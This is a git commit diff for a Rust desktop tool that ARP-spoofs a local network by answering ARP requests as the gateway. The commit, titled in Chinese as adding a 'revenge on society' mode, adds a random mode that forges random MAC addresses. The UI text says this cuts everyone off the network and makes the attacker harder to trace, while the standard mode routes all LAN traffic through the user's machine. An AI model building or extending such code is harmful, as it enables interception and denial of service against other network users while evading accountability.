添加报复社会模式:)

This commit is contained in:
Starrysky
2026-09-25 17:54:21 +08:00
parent b4201b5d44
commit fad12aa916
5 changed files with 156 additions and 19 deletions

77
Cargo.lock generated
View File

@@ -436,6 +436,30 @@ version = "0.2.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "f079e83a288787bcd14a6aea84cee5c87a67c5a3e660c30f557a3d24761b3527"
[[package]]
name = "chacha20"
version = "0.10.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "65c35e4b699c7e15ccbe7ee35c005e4fc0a278d22238a2857e6ce2dadeda1b06"
dependencies = [
"cfg-if",
"cpufeatures",
"rand_core",
]
[[package]]
name = "chrono"
version = "0.4.45"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "1aa79e62e7697b8e29b513a68abacf485adcd1fe8284a4316c5ae868e6633327"
dependencies = [
"iana-time-zone",
"js-sys",
"num-traits",
"wasm-bindgen",
"windows-link",
]
[[package]]
name = "clipboard-win"
version = "5.4.1"
@@ -599,6 +623,15 @@ dependencies = [
"unicode-segmentation",
]
[[package]]
name = "cpufeatures"
version = "0.3.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "5ca28b0ae3115b884660db4118d803791fd6756b6e88f39c0f3f7859060d7566"
dependencies = [
"libc",
]
[[package]]
name = "crossbeam-utils"
version = "0.8.23"
@@ -1022,6 +1055,7 @@ dependencies = [
"cfg-if",
"libc",
"r-efi 6.0.0",
"rand_core",
]
[[package]]
@@ -1196,6 +1230,30 @@ version = "0.2.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "dfa686283ad6dd069f105e5ab091b04c62850d3e4cf5d67debad1933f55023df"
[[package]]
name = "iana-time-zone"
version = "0.1.65"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "e31bc9ad994ba00e440a8aa5c9ef0ec67d5cb5e5cb0cc7f8b744a35b389cc470"
dependencies = [
"android_system_properties",
"core-foundation-sys",
"iana-time-zone-haiku",
"js-sys",
"log",
"wasm-bindgen",
"windows-core 0.62.2",
]
[[package]]
name = "iana-time-zone-haiku"
version = "0.1.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f"
dependencies = [
"cc",
]
[[package]]
name = "iced"
version = "0.14.0"
@@ -1531,10 +1589,12 @@ dependencies = [
name = "lan_toolkit"
version = "0.1.0"
dependencies = [
"chrono",
"iced",
"netdev",
"pnet",
"pnet_packet",
"rand",
]
[[package]]
@@ -2577,6 +2637,23 @@ version = "6.0.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "f8dcc9c7d52a811697d2151c701e0d08956f92b0e24136cf4cf27b57a6a0d9bf"
[[package]]
name = "rand"
version = "0.10.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "65c9fb96cbc91e3478eaae79a69fcd3f1ae4ad052e471fe6732fff548984b4af"
dependencies = [
"chacha20",
"getrandom 0.4.3",
"rand_core",
]
[[package]]
name = "rand_core"
version = "0.10.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "63b8176103e19a2643978565ca18b50549f6101881c443590420e4dc998a3c69"
[[package]]
name = "range-alloc"
version = "0.1.5"

View File

@@ -4,7 +4,9 @@ version = "0.1.0"
edition = "2024"
[dependencies]
chrono = "0.4.45"
iced = "0.14.0"
netdev = "0.46.3"
pnet = "0.35.0"
pnet_packet = "0.35.0"
rand = "0.10.3"

View File

@@ -22,6 +22,7 @@ pub struct LANToolkit {
pub test_message: TestState,
pub spoof_state: SpoofState,
pub spoof_btn_text: String,
pub mode: Mode,
}
#[derive(Copy, Clone, Debug)]
@@ -29,7 +30,9 @@ pub enum Messages {
RefreshIfaces,
IfaceSelected(Option<usize>),
TestIface,
StartSpoof(bool),
// Running, Random
StartSpoof(bool, bool),
ModeSwitch,
}
#[derive(Copy, Clone, Debug)]
@@ -50,6 +53,21 @@ pub enum SpoofState {
Online,
}
#[derive(Copy, Clone, Debug, PartialEq)]
pub enum Mode {
Standard,
Random
}
impl Display for Mode {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
match self {
Self::Standard => write!(f, "标准模式"),
Self::Random => write!(f, "随机模式"),
}
}
}
impl Display for SpoofState {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
match self {
@@ -107,6 +125,7 @@ impl LANToolkit {
test_message: TestState::NotSelected,
spoof_state: SpoofState::Unchecked,
spoof_btn_text: SpoofState::Unchecked.get_btn_text(),
mode: Mode::Standard,
}
}
}
@@ -139,7 +158,7 @@ impl LANToolkit {
row![
button(self.spoof_btn_text.as_str())
.width(515)
.on_press(Messages::StartSpoof(false)),
.on_press(Messages::StartSpoof(false, false)),
].padding(10),
column![
text("警告: 在未经过配置的设备上使用该程序可能导致连接的网络瘫痪")
@@ -151,6 +170,19 @@ impl LANToolkit {
text(self.spoof_state.to_string())
.width(300)
.color(self.spoof_state.get_color()),
].padding(10),
row![
text("当前模式: ").width(130),
text(self.mode.to_string()).width(300),
button("切换").on_press(Messages::ModeSwitch),
].padding(10),
column![
text("标准模式: 局域网所有流量发送至本机,由本机处理"),
text("随机模式: 报复社会用,开启后局域网所有流量发送至随机地址,相当于断网"),
text("(当然,如果你的目的是断网,那么随机模式不会泄露你的mac地址,这意味着溯源难度会更大)")
].padding(10),
row![
text("开发者: Starrynight @ StarryForge")
].padding(10)
].padding(20)
).width(WINDOW_WIDTH)
@@ -262,7 +294,7 @@ impl LANToolkit {
if !matches!(self.spoof_state, SpoofState::Unchecked) {
self.spoof_state = SpoofState::NotReady;
}
self.state.tx.send(Messages::StartSpoof(false)).unwrap();
self.state.tx.send(Messages::StartSpoof(false, false)).unwrap();
}
pub fn update(&mut self, message: Messages) {
@@ -289,7 +321,13 @@ impl LANToolkit {
}
}
}
if let Messages::StartSpoof(_) = messages {
if matches!(messages, Messages::ModeSwitch) {
self.mode = match self.mode {
Mode::Standard => Mode::Random,
Mode::Random => Mode::Standard,
}
}
if let Messages::StartSpoof(_, _) = messages {
match self.spoof_state {
SpoofState::Unchecked => {
self.spoof_state = if self.raw_packet_available {
@@ -300,11 +338,11 @@ impl LANToolkit {
},
SpoofState::NotReady => {},
SpoofState::Ready => {
messages = Messages::StartSpoof(true);
messages = Messages::StartSpoof(true, self.mode == Mode::Random);
self.spoof_state = SpoofState::Online
},
SpoofState::Online => {
messages = Messages::StartSpoof(false);
messages = Messages::StartSpoof(false, false);
self.spoof_state = SpoofState::Ready
}
}

View File

@@ -26,6 +26,7 @@ fn main() {
let res = iced::application(LANToolkit::boot(state.clone(), cfg.clone()), LANToolkit::update, LANToolkit::view)
.title(|state: &LANToolkit| state.cfg.window_name.clone())
.window_size(Size::new(WINDOW_WIDTH as f32,WINDOW_HEIGHT as f32))
.resizable(false)
.theme(TokyoNight)
.run();
if res.is_err() {

View File

@@ -1,11 +1,12 @@
use crate::application::Messages;
use netdev::get_interfaces;
use pnet::datalink::Channel::Ethernet;
use pnet::datalink::{Channel, NetworkInterface, channel, Config, DataLinkSender};
use pnet::datalink::{Channel, Config, DataLinkSender, NetworkInterface, channel};
use pnet::packet::{MutablePacket, Packet};
use pnet::util::MacAddr;
use pnet_packet::arp::{ArpHardwareTypes, ArpOperations, ArpPacket, MutableArpPacket};
use pnet_packet::ethernet::{EtherTypes, EthernetPacket, MutableEthernetPacket};
use rand::{RngExt, SeedableRng};
use std::net::Ipv4Addr;
use std::sync::mpsc::{Receiver, Sender, TryRecvError};
use std::thread::sleep;
@@ -65,12 +66,25 @@ fn get_gateway(mac_addr: MacAddr) -> Option<GateWay> {
Some(GateWay { ip: addr, mac: mac_addr })
}
fn get_random_mac() -> MacAddr {
let mut rng = rand::rngs::StdRng::from_rng(&mut rand::rng());
MacAddr {
0: rng.random(),
1: rng.random(),
2: rng.random(),
3: rng.random(),
4: rng.random(),
5: rng.random(),
}
}
fn construct_arp(
buffer: &mut [u8; 42],
iface: NetworkInterface,
gateway: GateWay,
target_mac: MacAddr,
target_ip: Ipv4Addr) -> bool {
target_ip: Ipv4Addr,
random_mode: bool) -> bool {
let epacket = MutableEthernetPacket::new(buffer);
if epacket.is_none() {
return false;
@@ -92,7 +106,11 @@ fn construct_arp(
packet.set_target_proto_addr(target_ip);
packet.set_target_hw_addr(target_mac);
packet.set_sender_proto_addr(gateway.ip);
packet.set_sender_hw_addr(iface.mac.unwrap());
packet.set_sender_hw_addr(if random_mode {
get_random_mac()
}else {
iface.mac.unwrap()
});
packet.set_hardware_type(ArpHardwareTypes::Ethernet);
packet.set_protocol_type(EtherTypes::Ipv4);
@@ -133,7 +151,8 @@ fn _worker_update(iface:Option<NetworkInterface>, ptx: Sender<EthernetFrame>) ->
fn worker_update(
iface: Option<NetworkInterface>,
tx: Option<Box<dyn DataLinkSender>>,
prx: Option<Receiver<EthernetFrame>>,)
prx: Option<Receiver<EthernetFrame>>,
rand: bool,)
-> (Option<Receiver<EthernetFrame>>, Option<Box<dyn DataLinkSender>>) {
if prx.is_none() {
return (prx, tx);
@@ -176,7 +195,8 @@ fn worker_update(
iface.clone(),
gateway,
packet.get_sender_hw_addr(),
packet.get_sender_proto_addr()
packet.get_sender_proto_addr(),
rand
) {
continue;
}
@@ -192,6 +212,7 @@ pub fn worker_main(_: WorkerState, rx: Receiver<Messages>) -> impl Fn() -> () {
move || {
// initialize
let mut running = false;
let mut rand = false;
let mut iface = pnet::datalink::interfaces().iter().nth(0).cloned();
let mut prx: Option<Receiver<EthernetFrame>> = None;
@@ -203,9 +224,6 @@ pub fn worker_main(_: WorkerState, rx: Receiver<Messages>) -> impl Fn() -> () {
if msg.is_ok() {
// Process message
match msg.unwrap() {
Messages::RefreshIfaces => {
},
Messages::IfaceSelected(index) => {
if index.is_some() {
iface = pnet::datalink::interfaces().iter().nth(index.unwrap()).cloned();
@@ -219,11 +237,9 @@ pub fn worker_main(_: WorkerState, rx: Receiver<Messages>) -> impl Fn() -> () {
println!("IfaceSelected(index={:?})", index);
}
},
Messages::TestIface => {
},
Messages::StartSpoof(status) => {
Messages::StartSpoof(status, random) => {
running = status;
rand = random;
if status {
let (tx, rx) = std::sync::mpsc::channel::<EthernetFrame>();
prx = Some(rx);
@@ -232,6 +248,9 @@ pub fn worker_main(_: WorkerState, rx: Receiver<Messages>) -> impl Fn() -> () {
prx = None;
}
println!("StartSpoof(running={:?})", running);
},
_ => {
}
}
}else {
@@ -242,7 +261,7 @@ pub fn worker_main(_: WorkerState, rx: Receiver<Messages>) -> impl Fn() -> () {
// And some extra things to do
if running {
(prx, tx) = worker_update(iface.clone(), tx, prx);
(prx, tx) = worker_update(iface.clone(), tx, prx, rand);
}
// Delay to avoid burning cpu